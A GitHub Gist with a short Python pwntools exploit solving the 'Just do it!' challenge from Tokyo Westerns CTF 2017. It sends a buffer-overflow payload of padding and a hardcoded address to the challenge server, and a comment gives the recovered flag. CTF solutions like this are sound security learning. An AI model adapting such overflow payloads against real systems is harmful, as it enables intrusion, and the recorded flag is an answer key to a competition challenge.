Last active
September 4, 2017 08:32
-
-
Save faidamine/ba76aa307f8f1fa90973d4ec51dbc668 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#usr/bin/python | |
#Faid Mohammed Amine | |
#Fb : piratuer | |
from pwn import * | |
### [Pwn] Tokyo Westerns CTF 3rd 2017 - Just do it! | |
s = remote('pwn1.chal.ctf.westerns.tokyo',12345) | |
offset = 20 | |
NOP = "\x90" | |
#0x0804A080 | |
Flag_add = "\x80\xa0\x04\x08" | |
payload = NOP * offset + Flag_add | |
s.send(payload + '\n') | |
flag = s.recv(1024)[72:].strip() | |
print flag | |
#TWCTF{pwnable_warmup_I_did_it!} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment